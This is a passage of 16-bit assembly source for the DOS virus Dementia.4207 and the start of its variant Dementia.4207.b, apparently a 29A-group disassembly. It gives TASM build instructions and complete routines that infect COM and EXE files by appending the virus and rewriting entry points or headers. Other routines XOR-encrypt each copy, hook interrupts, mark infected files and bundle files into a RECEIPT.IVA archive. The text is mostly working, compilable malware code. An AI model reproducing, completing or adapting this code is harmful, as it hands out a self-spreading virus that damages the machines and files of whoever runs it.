mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...

mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file

call write_file_

mov cx,(code_end-code_begin)
call write_file

mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16

mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate

call set_pos_sof

mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "

mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...

call write_file_

push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment

xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "

mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...

mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "

push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack

add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack

jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP

push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit

mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...

push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack

and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages

inc dx ; Increase number of bytes on last...

jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...

mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...

mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...

call set_pos_sof

mov cx,20h ; Write thirty-two bytes
call write_file

call set_pos_eof

call encrypt_copy

mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack

mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number

mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "

mov cs:[decrypt_key],dx ; Store decryption key

pop bx ; Load BX from stack

cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h

std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word

loop encrypt_loop

cld ; Clear direction flag

ret ; Return!
endp

int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack

mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop es ds dx bx ; Load registers from stack

ret ; Return!
endp

int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack

mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop ds dx ; Load registers from stack

ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of Dementia.4207
mov al,03h ; Fail system call in progress

iret ; Interrupt return!
endp

calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "

xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX

mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop

xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop

mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...

add di,04h ; DI = offset of next CRC-32 table...

pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab

call set_pos_sof

mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit

mov cx,ax ; CX = number of bytes actually read

pop dx ax ; Load registers from stack

xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register

xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...

mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH

mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...

pop cx bx ; Load registers from stack

loop cal_crc_loop

jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack

xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...

ret ; Return!
endp

create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer

mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...

mov ah,3bh ; Set current directory

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX
int 21h

mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_

jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof

push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname

mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack

mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file

mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt

mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file

jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file

call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop

jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack

add dx,0eh ; DX = offset of next file specifi...

dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name

jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit

pop cx ; Load CX from stack
push cx ; Save CX at stack

jmp test_count
found_dir:
push cx ; Save CX at stack

mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta

call find_next
jc receipt_exit ; Error? Jump to receipt_exit

dec cx ; Decrease CX

jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "

mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir

mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir

mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_

mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero

stosb ; Store byte of filename

jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack

mov ah,3bh ; Set current directory

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX

mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

int 21h

jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle

ret ; Return!
endp

close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h

ret ; Return!
endp

find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h

ret ; Return!
endp

find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h

ret ; Return!
endp

load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date

ret ; Return!
endp

infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h

ret ; Return!
endp

read_file proc near ; Read from file
xor dx,dx ; Zero DX

read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h

ret ; Return!
endp
endp

create_file proc near ; Create file
mov ah,3ch ; Create file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor cx,cx ; CX = file attributes
int 21h

ret ; Return!
endp

write_file proc near ; Write to file
xor dx,dx ; Zero DX

write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h

ret ; Return!
endp
endp

set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h

ret ; Return!
endp

set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h

ret ; Return!
endp

set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX

set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h

ret ; Return!
endp
endp

delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h

ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI
mov cx,7d0h ; Store four thousand bytes
mov ax,720h ; Black background color, light-gr...
rep stosw ; Overwrite text video RAM

xor di,di ; Zero DI
mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)

nop
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx

lodsb ; AL = byte of gfx_begin
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal?

  
Jump to store_gfx

push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack

add si,02h ; Add two to index register

sub cx,02h ; Subtract two from count register

jmp dont_sto_gfx

nop
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx

int 20h

gfx_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
gfx_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:

end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
comment *
Dementia.4207.b
Disassembly by
Darkman/29A

Dementia.4207.b is a 4207 bytes parasitic resident COM/EXE/ZIP virus.
Infects files at close file, open file and load and/or execute program by
appending the virus to the infected COM/EXE file and storing in the infected
ZIP file. Dementia.4207.b has an error handler, 16-bit exclusive OR (XOR)
encryption in file and is using archive infection technique.

To compile Dementia.4207.b with Turbo Assembler v 4.0 type:
TASM /M DEMENT_B.ASM
TLINK /x DEMENT_B.OBJ
EXE2BIN DEMENT_B.EXE DEMENT_B.COM
*

.model tiny
.code

code_begin:
call_imm16 equ word ptr $+01h ; Offset of CALL imm16
call prepare_demt
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h

mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key

push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes

jmp crypt_end
crypt_end:
loop decrypt_loop

cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack

lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack

retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment

mov bx,1492h ; Dementia.4207.b function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit

call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit

mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...

mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment

xchg ax,dx ; AX = segment of current PSP proc...

cli ; Clear interrupt-enable flag
